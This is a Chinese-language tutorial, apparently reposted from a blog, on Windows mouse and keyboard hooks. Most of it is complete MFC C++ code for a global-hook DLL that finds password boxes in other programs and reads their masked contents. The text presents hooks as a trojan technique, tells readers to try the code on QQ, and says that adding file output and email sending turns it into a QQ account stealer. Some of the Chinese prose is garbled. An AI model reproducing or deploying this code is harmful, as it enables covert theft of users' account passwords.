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hook 鼠标键盘消息实例分析
1、木马控制及通信方法包含:双管道,port重用。反弹技术。Hook技术,今天重点引用介绍一下hook的使用方法,hook信息后能够将结果发送到hacker邮箱等。实现攻击的目的。
转自:http://hi.baidu.com/mousetopshow/item/a951102d679f6e8f9c63d1b0
钩子能截获系统并得理发送给其他应用程序的消息,能完毕一般程序无法完毕的功能。掌握钩子的编程方法是非常有必要的
钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你能够监视发送到窗体过程的消息
3、WH_DEBUG 调试钩子
4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空暇状态时,系统就会调用 WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 监视和记录输入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD 键盘钩子
9、WH_KEYBOARD_LL 低层键盘钩子
10、WH_MOUSE 鼠标钩子
11、WH_MOUSE_LL 底层鼠标钩子
12、WH_SHELL 外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们能够监视菜单。滚动栏,消息框等
安装钩子:
调用函数SetWindowsHookEx安装钩子。
其函数原型为:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )idHook表示钩子类型。它是和钩子函数类型一一相应的。如,WH_KEYBOARD, WH_MOUSE。
Lpfn是钩子函数的地址。
HMod
是钩子函数所在的实例的句柄。
对于线程钩子,该參数为NULL;对于系统钩子。该參数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
dwThreadId
指定钩子所监视的线程的线程号。对于全局钩子,该參数为NULL。
返回:所安装的钩子句柄。
卸载钩子
调用函数
BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子
定义钩子函数
钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后。系统会调用钩子函数进行处理。
一般为下:
LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)
參数wParam和 lParam包括所钩消息的信息,比方鼠标位置、状态,键盘按键等。
nCode包括有关消息本身的信。比方是否从消息队列中移出。
实例:
以下我们通过安装鼠标钩子。
和键盘钩子还截获输入的password,并可查看*password为例,来说明何何使用钩子。
1. 进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完毕。
2. 新建一个CGetPassHook 类,基类:CObject,并增加StartHook,StopHook,函数,例如以下:
class AFX_EXT_CLASS CGetPassHook : public CObject { public: BOOL StopHook(); BOOL StartHook(HWND hwnd); CGetPassHook(); virtual ~CGetPassHook(); };3:增加全局共享数据。例如以下:
#pragma data_seg("ShareData") HHOOK hKeyBoardHook=NULL; //keyboard hook HHOOK hMouseHook=NULL; //mouse hook HINSTANCE glhInstance=NULL; //globle instance HWND hOutPutWnd=NULL; //Display Pass Wnd #pragma data_seg()4:增加鼠标,键盘钩子处理函数,例如以下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) { //鼠标钩子得理函数 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam; if(nCode>=0) { HWND hTargetHwnd=lpMouse->hwnd; //得到鼠标所在窗体句柄 if(hTargetHwnd) { LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); //得到它的样式 if(style&ES_PASSWORD) //假设是password框 { char szPass[255]; ::SendMessage(hTargetHwnd, WM_GETTEXT, 255, (LPARAM)szPass); //得到password ::SendMessage(hOutPutWnd, WM_SETTEXT, 0, (LPARAM)szPass); //显示password } } } return CallNextHookEx(hMouseHook,nCode,wParam,lParam); //加上这句。就能够继续传递消息,假设没有,则会取消此消息的传递, //能够起到截儿消息的目的,我们这里调用之。这里要介绍下EnumChildWindows函数,原形例如以下:} LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) { //keyboard hook proc if(nCode>=0) { HWND hTargetHwnd=GetActiveWindow(); //get active window if(hTargetHwnd) EnumChildWindows(hTargetHwnd,EnumWndProc,0); //枚举全部窗体 } //加上这句,就能够继续传递消息。假设没有,则会取消此消息的传递, //能够起到截儿消息的目的,我们这里调用之。
return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam); }
BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
hWndParent:为枚举窗体的句柄
lpEnumFunc:枚举函数的地址,
lParam:这里为0
5:增加枚举窗体的函数。
例如以下:(注意,由于前面的函数据要用到此函数,所以要么在前面声明。要么放在上面函数之前定义。
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam) { //enum the child window,find passedit if(hwnd) { LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE if(style&ES_PASSWORD) //是password框 { char szPass[255]; ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); //得到PASS ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); //显示 return TRUE; } } return TRUE; }6:在DEF文件里定义段属性: (这步非常重要)
SECTIONS
mydata READ WRITE SHARED
7:完毕StartHook,StopHook函数,启动/关闭钩子,例如以下:
BOOL CGetPassHook::StartHook(HWND hwnd) { //install hoook hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0); //mouse hook hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); //keyboard hook if(hMouseHook&&hKeyBoardHook) { hOutPutWnd=hwnd; //显示password的句柄 return TRUE; } return FALSE; } BOOL CGetPassHook::StopHook() { //unstall hook BOOL mHook=UnhookWindowsHookEx(hMouseHook); BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook); if(mHook && kHook) { return TRUE; } return FALSE; }
8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量。因此要增加一句。例如以下:
extern HINSTANCE glhInstance; //记得这里 extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("GETPASS.DLL Initializing!\n"); if (!AfxInitExtensionModule(GetPassDLL, hInstance)) return 0; new CDynLinkLibrary(GetPassDLL); //得到句柄 glhInstance=hInstance; } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0("GETPASS.DLL Terminating!\n"); AfxTermExtensionModule(GetPassDLL); } return 1; // ok }
9:编译,完毕DLL部分,
以下建立APP部分。例如以下:
1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace增加到当前工作区,这样方便。
2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在文件夹,然后Project->Add to Project-->Files
选择这两个文件。
2:在主对话框中。增加一个EDIT,ID 为IDC_EDIT_PASS
3:在CGetPassWordDlg.h中包括GetPassHook.h文件。声明一个对象。例如以下:
#include "GetPassHook.h" class CGetPassWordDlg : public CDialog { protected: CGetPassHook m_hook; 。。。 DECLARE_MESSAGE_MAP() };4:在实现文件里:OnInitDialog()中起动HOOK
BOOL CGetPassWordDlg::OnInitDialog() { //install hook CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS); m_hook.StartHook(pWnd->GetSafeHwnd()); // return TRUE unless you set the focus to a control return TRUE; }
5:增加WM_DESTROY消息,在退出程序时停止HOOK,例如以下:
void CGetPassWordDlg::OnDestroy() { CDialog::OnDestroy(); //stop hook m_hook.StopHook(); }
6:将GetPass.dll复制到。EXE一个文件夹下。
7:编译。执行.这样,你在输入不论什么password框输入password时,password都将截获。就算键盘HOOK失效。移动鼠标到password框。也都获取*号password,由于我们安装两个HOOK。
启动QQ,输入password,试下看是否已经截获了password?将本程序稍做改动,将截获的password输出到文件。并增加发送邮件攻能,一个QQ盗号器就做成了
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